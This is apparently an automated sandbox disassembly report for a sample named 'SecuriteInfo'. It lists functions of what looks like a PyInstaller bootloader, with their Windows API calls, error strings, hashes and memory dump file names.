Snapshot File: hcaresult_0_2_7ff7b10f0000_SecuriteInfo.jbxd

Similarity

API ID: Environment$Variable$ExpandMessagePathStringsTemp_invalid_parameter_noinfo
String ID: LOADER: Failed to set the TMP environment variable.$TMP$TMP$_MEI%d
API String ID: 3752271684-1116378104
Opcode ID: 8a0f81467077cc4c225813434d72b9cad563560c0a92c7b3ae5d3c4c9c93026c
Instruction ID: 3827fa51e6641949668722213c07c465d95a9f8ea32380595bbf08ec77ce77be
Opcode Fuzzy Hash: 8a0f81467077cc4c225813434d72b9cad563560c0a92c7b3ae5d3c4c9c93026c
Instruction Fuzzy Hash: 04517F11F0D21B40FB54B62E68662BED3519FA7BC8FD45031EF0E8B69EDDACE4018661

Function 00007FF7B10FA55D Relevance: 12.0, Strings: 9, Instructions: 745COMMON

Download Yara Rule

Strings

invalid literal/lengths set, xrefs: 00007FF7B10FA9E3
invalid distance code, xrefs: 00007FF7B10FAE64
invalid distances set, xrefs: 00007FF7B10FAA50
invalid code -- missing end-of-block, xrefs: 00007FF7B10FA976
invalid code lengths set, xrefs: 00007FF7B10FA6DD
invalid distance too far back, xrefs: 00007FF7B10FAF20
invalid literal/length code, xrefs: 00007FF7B10FAC92
too many length or distance symbols, xrefs: 00007FF7B10FA6F6
invalid bit length repeat, xrefs: 00007FF7B10FA949

Memory Dump Source

Source File: 00000000.00000002.1778735323.00007FF7B10F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7B10F0000, based on PE: true

Associated: 00000000.00000002.1778613110.00007FF7B10F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1778850312.00007FF7B111C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1778973485.00007FF7B112F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1778973485.00007FF7B1131000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1779212543.00007FF7B1133000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7b10f0000_SecuriteInfo.jbxd

Similarity

API ID:
String ID: invalid bit length repeat$invalid code -- missing end-of-block$invalid code lengths set$invalid distance code$invalid distance too far back$invalid distances set$invalid literal/length code$invalid literal/lengths set$too many length or distance symbols
API String ID: 0-2665694366
Opcode ID: 212d86a86c8cb6d9fc903fcdabd382662a83ce4cb1445b9d6573bc2018cf14a4
Instruction ID: 1145ce095fe2ede5bdd21c06c4cab6f6031074d13bb2baba8bd6cd49e2a029b1
Opcode Fuzzy Hash: 212d86a86c8cb6d9fc903fcdabd382662a83ce4cb1445b9d6573bc2018cf14a4
Instruction Fuzzy Hash: 79523672A142A68BE7949F18C499B7E7BE9FB56304F814138E74A877C4DBBCD804CB50

Function 00007FF7B1116BCC Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 143
timeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_get_daylight.LIBCMT ref: 00007FF7B1116BFA

Part of subcall function 00007FF7B1116348: _invalid_parameter_noinfo.LIBCMT ref: 00007FF7B111635C

_get_daylight.LIBCMT ref: 00007FF7B1116C0B

Part of subcall function 00007FF7B11162E8: _invalid_parameter_noinfo.LIBCMT ref: 00007FF7B11162FC

_get_daylight.LIBCMT ref: 00007FF7B1116C1C

Part of subcall function 00007FF7B1116318: _invalid_parameter_noinfo.LIBCMT ref: 00007FF7B111632C

Part of subcall function 00007FF7B110B4EC: RtlRestoreThreadPreferredUILanguages.NTDLL(?,?,?,00007FF7B1113972,?,?,?,00007FF7B11139AF,?,?,00000000,00007FF7B1113E75,?,?,00000000,00007FF7B1113DA7), ref: 00007FF7B110B502
Part of subcall function 00007FF7B110B4EC: GetLastError.KERNEL32(?,?,?,00007FF7B1113972,?,?,?,00007FF7B11139AF,?,?,00000000,00007FF7B1113E75,?,?,00000000,00007FF7B1113DA7), ref: 00007FF7B110B50C

GetTimeZoneInformation.KERNELBASE(?,?,?,?,?,?,?,?,?,00000000,?,00007FF7B1116E5C), ref: 00007FF7B1116C43

Strings

Eastern Summer Time, xrefs: 00007FF7B1116D01
Eastern Standard Time, xrefs: 00007FF7B1116CE9

Memory Dump Source

Source File: 00000000.00000002.1778735323.00007FF7B10F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7B10F0000, based on PE: true

Associated: 00000000.00000002.1778613110.00007FF7B10F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1778850312.00007FF7B111C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1778973485.00007FF7B112F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1778973485.00007FF7B1131000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1779212543.00007FF7B1133000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7b10f0000_SecuriteInfo.jbxd

Similarity

API ID: _get_daylight_invalid_parameter_noinfo$ErrorInformationLanguagesLastPreferredRestoreThreadTimeZone
String ID: Eastern Standard Time$Eastern Summer Time
API String ID: 2248164782-239921721
Opcode ID: 6e110c42c992c942a967616de5e9b20753deb8e2725d4993c570f78644da606e
Instruction ID: e44b119ebb16b04f47defa949099dd43232c25e7ccba2d943f0214906946d449
Opcode Fuzzy Hash: 6e110c42c992c942a967616de5e9b20753deb8e2725d4993c570f78644da606e
Instruction Fuzzy Hash: E9518222A1864A86E710FF29F8805A9E760FB6A788FC24135DB4D4369DDFBDE450C760

Function 00007FF7B10F9D2B Relevance: 4.1, Strings: 3, Instructions: 397COMMON

Download Yara Rule

Strings

unknown header flags set, xrefs: 00007FF7B10F9D75
header crc mismatch, xrefs: 00007FF7B10FA1D1
, xrefs: 00007FF7B10F9E0B

Memory Dump Source

Source File: 00000000.00000002.1778735323.00007FF7B10F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7B10F0000, based on PE: true

Associated: 00000000.00000002.1778613110.00007FF7B10F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1778850312.00007FF7B111C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1778973485.00007FF7B112F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1778973485.00007FF7B1131000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1779212543.00007FF7B1133000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7b10f0000_SecuriteInfo.jbxd

Similarity

API ID:
String ID: $header crc mismatch$unknown header flags set
API String ID: 0-1127688429
Opcode ID: 326cf6427d5bf0e9376a5910f25170e202e1497fb5a723acb88e47d2bece8f14
Instruction ID: 70bbc82d1dbb2a18243c275b0a6a0e2e089b455c9ab5346b202724d93ea09c60
Opcode Fuzzy Hash: 326cf6427d5bf0e9376a5910f25170e202e1497fb5a723acb88e47d2bece8f14
Instruction Fuzzy Hash: 3AF1C362A083C58BE7A5AB18C0D9B3EBBA9FF56748F454534EB4907398CBB8D440DB50

Function 00007FF7B10F9B8B Relevance: 2.7, Strings: 2, Instructions: 218COMMON

Download Yara Rule

Strings

incorrect header check, xrefs: 00007FF7B10F9D12
invalid window size, xrefs: 00007FF7B10F9CF9

Memory Dump Source

Source File: 00000000.00000002.1778735323.00007FF7B10F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7B10F0000, based on PE: true

Associated: 00000000.00000002.1778613110.00007FF7B10F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1778850312.00007FF7B111C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1778973485.00007FF7B112F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1778973485.00007FF7B1131000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1779212543.00007FF7B1133000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7b10f0000_SecuriteInfo.jbxd

Similarity

API ID:
String ID: incorrect header check$invalid window size
API String ID: 0-900081337
Opcode ID: eff0553be1f10ec537251e961509bf2a8d4d677e3d27bfe4c15f043eb5d22666
Instruction ID: 48314f238ca81e7dfcc2c6ed45a1a6c496075cab30bd44f297fa2fbe67fc87b5
Opcode Fuzzy Hash: eff0553be1f10ec537251e961509bf2a8d4d677e3d27bfe4c15f043eb5d22666
Instruction Fuzzy Hash: 8B91DA72A182C587E7A4AB1CC4D9B3E7BA9FB66348F914139DB49467C8CB7CE540CB10

Function 00007FF7B10F1700 Relevance: 24.6, APIs: 1, Strings: 13, Instructions: 148
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

fseek, xrefs: 00007FF7B10F17FD
malloc, xrefs: 00007FF7B10F185D
Failed to extract %s: failed to open target file!, xrefs: 00007FF7B10F1780
Failed to extract %s: failed to write data chunk!, xrefs: 00007FF7B10F18D5
Failed to extract %s: failed to allocate temporary buffer!, xrefs: 00007FF7B10F1856
Failed to extract %s: failed to open archive file!, xrefs: 00007FF7B10F17C9
Failed to create symbolic link %s!, xrefs: 00007FF7B10F1743
Failed to extract %s: failed to read data chunk!, xrefs: 00007FF7B10F18E5
pyi_arch_extract2fs was called before temporary directory was initialized!, xrefs: 00007FF7B10F1716
fopen, xrefs: 00007FF7B10F1787
fwrite, xrefs: 00007FF7B10F18DC
Failed to extract %s: failed to seek to the entry's data!, xrefs: 00007FF7B10F17F6
fread, xrefs: 00007FF7B10F18EC

Memory Dump Source

Source File: 00000000.00000002.1778735323.00007FF7B10F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7B10F0000, based on PE: true

Associated: 00000000.00000002.1778613110.00007FF7B10F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1778850312.00007FF7B111C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1778973485.00007FF7B112F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1778973485.00007FF7B1131000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1779212543.00007FF7B1133000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7b10f0000_SecuriteInfo.jbxd

Similarity

API ID: Message
String ID: Failed to create symbolic link %s!$Failed to extract %s: failed to allocate temporary buffer!$Failed to extract %s: failed to open archive file!$Failed to extract %s: failed to open target file!$Failed to extract %s: failed to read data chunk!$Failed to extract %s: failed to seek to the entry's data!$Failed to extract %s: failed to write data chunk!$fopen$fread$fseek$fwrite$malloc$pyi_arch_extract2fs was called before temporary directory was initialized!
API String ID: 2030045667-3833288071
Opcode ID: 29aed41d898024d6afd6ca69df36de76f99c99904f7afb2ff6bbac2b69c01ca5
Instruction ID: 8622e5fcdce3cbb96f275c66bcd52df25aa229fef8fb221393e17232e2dc802f
Opcode Fuzzy Hash: 29aed41d898024d6afd6ca69df36de76f99c99904f7afb2ff6bbac2b69c01ca5
Instruction Fuzzy Hash: 17519F21F0C64A82EB10BB1AE4912B9E391BF66BD8FC44031DF4C4769DEEBCE5558720

Function 00007FF7B10F1A90 Relevance: 19.4, APIs: 2, Strings: 9, Instructions: 135
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00007FF7B10F82B0: _fread_nolock.LIBCMT ref: 00007FF7B10F835A

_fread_nolock.LIBCMT ref: 00007FF7B10F1B44

Part of subcall function 00007FF7B10F2870: MessageBoxW.USER32 ref: 00007FF7B10F297B

Strings

Error on file., xrefs: 00007FF7B10F1C26
fseek, xrefs: 00007FF7B10F1B23
Failed to read cookie!, xrefs: 00007FF7B10F1B4F
Could not read full TOC!, xrefs: 00007FF7B10F1BF9
malloc, xrefs: 00007FF7B10F1BCD
Could not allocate buffer for TOC!, xrefs: 00007FF7B10F1BC6
Failed to seek to cookie position!, xrefs: 00007FF7B10F1B1C
fread, xrefs: 00007FF7B10F1B56, 00007FF7B10F1C00
MEI, xrefs: 00007FF7B10F1AD2

Memory Dump Source

Source File: 00000000.00000002.1778735323.00007FF7B10F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7B10F0000, based on PE: true

Associated: 00000000.00000002.1778613110.00007FF7B10F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1778850312.00007FF7B111C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1778973485.00007FF7B112F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1778973485.00007FF7B1131000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1779212543.00007FF7B1133000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7b10f0000_SecuriteInfo.jbxd

Similarity

API ID: _fread_nolock$Message
String ID: Could not allocate buffer for TOC!$Could not read full TOC!$Error on file.$Failed to read cookie!$Failed to seek to cookie position!$MEI$fread$fseek$malloc
API String ID: 677216364-1384898525
Opcode ID: 88bd7f25ce49e1433e5172e6c1c51183f3bc6fb5d101781aad75366123237118
Instruction ID: 07b4985e5a82e5f9c33369baeb20fc1da396e8cbb8fff9b45650b69b64f1d68a
Opcode Fuzzy Hash: 88bd7f25ce49e1433e5172e6c1c51183f3bc6fb5d101781aad75366123237118
Instruction Fuzzy Hash: D3519E71A0960AC2EB14EF1DE495278B3A0EB6AB98F918135DB0C8779DDEBCE440C754

Function 00007FF7B10F1000 Relevance: 14.3, APIs: 1, Strings: 7, Instructions: 269
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00007FF7B10F3EB0: GetModuleFileNameW.KERNEL32(?,00007FF7B10F39CA), ref: 00007FF7B10F3EE1

SetDllDirectoryW.KERNEL32 ref: 00007FF7B10F3BD5

Part of subcall function 00007FF7B10F7B60: GetEnvironmentVariableW.KERNEL32(00007FF7B10F39FF), ref: 00007FF7B10F7B9A
Part of subcall function 00007FF7B10F7B60: ExpandEnvironmentStringsW.KERNEL32 ref: 00007FF7B10F7BB7

Strings

Failed to convert DLL search path!, xrefs: 00007FF7B10F3BC5
_PYI_ONEDIR_MODE, xrefs: 00007FF7B10F3A14, 00007FF7B10F3A3F
Cannot side-load external archive %s (code %d)!, xrefs: 00007FF7B10F3B1F
Failed to initialize security descriptor for temporary directory!, xrefs: 00007FF7B10F3B53
_MEIPASS2, xrefs: 00007FF7B10F39EB, 00007FF7B10F3A54, 00007FF7B10F3D07, 00007FF7B10F3D13
MEI, xrefs: 00007FF7B10F3ADA
Cannot open PyInstaller archive from executable (%s) or external archive (%s), xrefs: 00007FF7B10F3AA6

Memory Dump Source

Source File: 00000000.00000002.1778735323.00007FF7B10F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7B10F0000, based on PE: true

Associated: 00000000.00000002.1778613110.00007FF7B10F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1778850312.00007FF7B111C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1778973485.00007FF7B112F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1778973485.00007FF7B1131000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1779212543.00007FF7B1133000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7b10f0000_SecuriteInfo.jbxd

Similarity

API ID: Environment$DirectoryExpandFileModuleNameStringsVariable
String ID: Cannot open PyInstaller archive from executable (%s) or external archive (%s)$Cannot side-load external archive %s (code %d)!$Failed to convert DLL search path!$Failed to initialize security descriptor for temporary directory!$MEI$_MEIPASS2$_PYI_ONEDIR_MODE
API String ID: 2344891160-1544818733
Opcode ID: 9142216fe1597e1c9e17d458b54f40fc9f4f49d9b38e9defbc386d8b2912fed3
Instruction ID: 9e1e7fff09d2b06fdefa26a9df734e0f838b20385a096a3e2cbfb6a9e6f80f0c
Opcode Fuzzy Hash: 9142216fe1597e1c9e17d458b54f40fc9f4f49d9b38e9defbc386d8b2912fed3
Instruction Fuzzy Hash: B7B19321E1C64B41EB65BB2994A22FDD350BF6679CFC40131EB4D4B69EDEACE605C320

Function 00007FF7B10F8080 Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 90
processsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00007FF7B10F8BD0: MultiByteToWideChar.KERNEL32(?,?,?,?,?,00007FF7B10F2A9B), ref: 00007FF7B10F8C0A

SetConsoleCtrlHandler.KERNEL32(00000000,00007FF7B10F3D37), ref: 00007FF7B10F80CF
GetStartupInfoW.KERNEL32 ref: 00007FF7B10F80EE

Part of subcall function 00007FF7B110AFF4: _invalid_parameter_noinfo.LIBCMT ref: 00007FF7B110B008

Part of subcall function 00007FF7B1108C10: _invalid_parameter_noinfo.LIBCMT ref: 00007FF7B1108C77

GetCommandLineW.KERNEL32 ref: 00007FF7B10F818E
CreateProcessW.KERNELBASE ref: 00007FF7B10F81D0
WaitForSingleObject.KERNEL32 ref: 00007FF7B10F81E4
GetExitCodeProcess.KERNELBASE ref: 00007FF7B10F81F4

Strings

Error creating child process!, xrefs: 00007FF7B10F8200
CreateProcessW, xrefs: 00007FF7B10F8207

Memory Dump Source

Source File: 00000000.00000002.1778735323.00007FF7B10F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7B10F0000, based on PE: true

Associated: 00000000.00000002.1778613110.00007FF7B10F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1778850312.00007FF7B111C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1778973485.00007FF7B112F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1778973485.00007FF7B1131000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1779212543.00007FF7B1133000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7b10f0000_SecuriteInfo.jbxd

Similarity

API ID: Process_invalid_parameter_noinfo$ByteCharCodeCommandConsoleCreateCtrlExitHandlerInfoLineMultiObjectSingleStartupWaitWide
String ID: CreateProcessW$Error creating child process!
API String ID: 2895956056-3524285272
Opcode ID: 3741643826c5352320942fbf43c5de1d0e179915c125a0ccfc2097356f541c1c
Instruction ID: 810d496dcac2159572d4b92a7a113a89e0c002fcce1a0808f777c18e92b81f15
Opcode Fuzzy Hash: 3741643826c5352320942fbf43c5de1d0e179915c125a0ccfc2097356f541c1c
Instruction Fuzzy Hash: 7C413731A0878581DB20AB69F4452AAF354FFA6364F900735E7AD437D9DFBCD0548B50

Function 00007FF7B10F1050 Relevance: 12.4, APIs: 1, Strings: 6, Instructions: 154
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

Failed to extract %s: inflateInit() failed with return code %d!, xrefs: 00007FF7B10F10B4
Failed to extract %s: failed to allocate temporary input buffer!, xrefs: 00007FF7B10F10F1
malloc, xrefs: 00007FF7B10F10F8, 00007FF7B10F1126
Failed to extract %s: failed to allocate temporary output buffer!, xrefs: 00007FF7B10F111F
1.3.1, xrefs: 00007FF7B10F107E
Failed to extract %s: decompression resulted in return code %d!, xrefs: 00007FF7B10F1249

Memory Dump Source

Source File: 00000000.00000002.1778735323.00007FF7B10F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7B10F0000, based on PE: true

Associated: 00000000.00000002.1778613110.00007FF7B10F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1778850312.00007FF7B111C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1778973485.00007FF7B112F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1778973485.00007FF7B1131000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1779212543.00007FF7B1133000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7b10f0000_SecuriteInfo.jbxd

Similarity

API ID: Message
String ID: 1.3.1$Failed to extract %s: decompression resulted in return code %d!$Failed to extract %s: failed to allocate temporary input buffer!$Failed to extract %s: failed to allocate temporary output buffer!$Failed to extract %s: inflateInit() failed with return code %d!$malloc
API String ID: 2030045667-2813020118
Opcode ID: 48627be277d5ca06013e799fe1ac08366ea0a7b8cedd6558f5847aca0920a891
Instruction ID: 148fc722e7f1ac53772d82771114fa145404fe0eb89979e6807e875951d49c8f
Opcode Fuzzy Hash: 48627be277d5ca06013e799fe1ac08366ea0a7b8cedd6558f5847aca0920a891
Instruction Fuzzy Hash: 7B510762A0868680E760BB59A4913BAE391FBA279CFC44131DF4D8779DEEBCE415C710

Function 00007FF7B110F7B0 Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 117
libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

FreeLibrary.KERNEL32(?,?,?,00007FF7B110FB4A,?,?,-00000018,00007FF7B110B8F7,?,?,?,00007FF7B110B7EE,?,?,?,00007FF7B1106A32), ref: 00007FF7B110F92C
GetProcAddress.KERNEL32(?,?,?,00007FF7B110FB4A,?,?,-00000018,00007FF7B110B8F7,?,?,?,00007FF7B110B7EE,?,?,?,00007FF7B1106A32), ref: 00007FF7B110F938

Strings

api-ms-, xrefs: 00007FF7B110F876
ext-ms-, xrefs: 00007FF7B110F889

Memory Dump Source

Source File: 00000000.00000002.1778735323.00007FF7B10F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7B10F0000, based on PE: true

Associated: 00000000.00000002.1778613110.00007FF7B10F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1778850312.00007FF7B111C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1778973485.00007FF7B112F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1778973485.00007FF7B1131000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1779212543.00007FF7B1133000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7b10f0000_SecuriteInfo.jbxd

Similarity

API ID: AddressFreeLibraryProc
String ID: api-ms-$ext-ms-
API String ID: 3013587201-537541572
Opcode ID: 7d0b8cd1019d27a9e16eec9e317f5686f28e1310d53eba994d83145821214b12
Instruction ID: e9453cd5f198fc22e2af5cd2831abececc2e7713d4dcfbdd13661308bd0889a2
Opcode Fuzzy Hash: 7d0b8cd1019d27a9e16eec9e317f5686f28e1310d53eba994d83145821214b12
Instruction Fuzzy Hash: 9F412421F1961B82FB11EB1AB804AB5A391FF26B98F984135DF0D4738CDEBCE5458324

Function 00007FF7B110C5FC Relevance: 10.8, APIs: 7, Instructions: 290
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF7B110CA29

Memory Dump Source

Source File: 00000000.00000002.1778735323.00007FF7B10F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7B10F0000, based on PE: true

Associated: 00000000.00000002.1778613110.00007FF7B10F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1778850312.00007FF7B111C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1778973485.00007FF7B112F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1778973485.00007FF7B1131000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1779212543.00007FF7B1133000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7b10f0000_SecuriteInfo.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: 4661795aadc1949d3fbcdb9a4755a9ecd7d0fe9808f7a0d652296c9cb9922c2d
Instruction ID: e7cd10ad84129b8f5c3cb0cd28d6cfbd45a62a1f0b5a11bd592623bccca306b1
Opcode Fuzzy Hash: 4661795aadc1949d3fbcdb9a4755a9ecd7d0fe9808f7a0d652296c9cb9922c2d
Instruction Fuzzy Hash: 47C1E622D0868B91EB50AB1DB0483BDB751EFA2798FA54172DB4D03399DFFCE4458B20

Function 00007FF7B10F8650 Relevance: 10.6, APIs: 7, Instructions: 63
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentProcess.KERNEL32 ref: 00007FF7B10F8670
OpenProcessToken.ADVAPI32 ref: 00007FF7B10F8681
GetTokenInformation.KERNELBASE ref: 00007FF7B10F86A6
GetLastError.KERNEL32 ref: 00007FF7B10F86B0
GetTokenInformation.KERNELBASE ref: 00007FF7B10F86F0
ConvertSidToStringSidW.ADVAPI32 ref: 00007FF7B10F870C
CloseHandle.KERNEL32 ref: 00007FF7B10F8724

Memory Dump Source

Source File: 00000000.00000002.1778735323.00007FF7B10F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7B10F0000, based on PE: true

Associated: 00000000.00000002.1778613110.00007FF7B10F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1778850312.00007FF7B111C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1778973485.00007FF7B112F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1778973485.00007FF7B1131000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1779212543.00007FF7B1133000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7b10f0000_SecuriteInfo.jbxd

Similarity

API ID: Token$InformationProcess$CloseConvertCurrentErrorHandleLastOpenString
String ID:
API String ID: 995526605-0
Opcode ID: b199e8e08dbafb2fefb291e728498370fa2251d2026f483e6f64b3b10aef1c42
Instruction ID: bc05fbd4e278d0a1dacf6fbcd77fc5c6bebbb048750174cc103411fa1c206b78
Opcode Fuzzy Hash: b199e8e08dbafb2fefb291e728498370fa2251d2026f483e6f64b3b10aef1c42
Instruction Fuzzy Hash: CE215835A0CB4281DB50AB5DF485269E3A0FF967A8F600235DB6D47ADCDFACD4548710

Function 00007FF7B10F8970 Relevance: 9.1, APIs: 2, Strings: 4, Instructions: 59
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00007FF7B10F8650: GetCurrentProcess.KERNEL32 ref: 00007FF7B10F8670
Part of subcall function 00007FF7B10F8650: OpenProcessToken.ADVAPI32 ref: 00007FF7B10F8681
Part of subcall function 00007FF7B10F8650: GetTokenInformation.KERNELBASE ref: 00007FF7B10F86A6
Part of subcall function 00007FF7B10F8650: GetLastError.KERNEL32 ref: 00007FF7B10F86B0
Part of subcall function 00007FF7B10F8650: GetTokenInformation.KERNELBASE ref: 00007FF7B10F86F0
Part of subcall function 00007FF7B10F8650: ConvertSidToStringSidW.ADVAPI32 ref: 00007FF7B10F870C
Part of subcall function 00007FF7B10F8650: CloseHandle.KERNEL32 ref: 00007FF7B10F8724

LocalFree.KERNEL32(00000000,00007FF7B10F3B4E), ref: 00007FF7B10F89FC
LocalFree.KERNEL32 ref: 00007FF7B10F8A05

Strings

S-1-3-4, xrefs: 00007FF7B10F89B1
D:(A;;FA;;;%s), xrefs: 00007FF7B10F89E7
Security descriptor string length exceeds PATH_MAX!, xrefs: 00007FF7B10F8A13
D:(A;;FA;;;%s)(A;;FA;;;%s), xrefs: 00007FF7B10F89D2

Memory Dump Source

Source File: 00000000.00000002.1778735323.00007FF7B10F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7B10F0000, based on PE: true

Associated: 00000000.00000002.1778613110.00007FF7B10F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1778850312.00007FF7B111C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1778973485.00007FF7B112F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1778973485.00007FF7B1131000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1779212543.00007FF7B1133000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7b10f0000_SecuriteInfo.jbxd

Similarity

API ID: Token$FreeInformationLocalProcess$CloseConvertCurrentErrorHandleLastOpenString
String ID: D:(A;;FA;;;%s)$D:(A;;FA;;;%s)(A;;FA;;;%s)$S-1-3-4$Security descriptor string length exceeds PATH_MAX!
API String ID: 6828938-1817031585
Opcode ID: 4a0a64217b4c8618eeaa0cd08dc669878e89b812572458f449172cc44ebe3956
Instruction ID: 2b680102821304253a3946cbd1a5ba502c6091636c9179b905bdd94bf4b8d01c
Opcode Fuzzy Hash: 4a0a64217b4c8618eeaa0cd08dc669878e89b812572458f449172cc44ebe3956
Instruction Fuzzy Hash: F5218E21A0D74A81FB10FB28E4462E9E365BF66788FD40132EB0D4369EDEBCE5048760

Function 00007FF7B110DB00 Relevance: 6.2, APIs: 4, Instructions: 218COMMON

Download Yara Rule

APIs

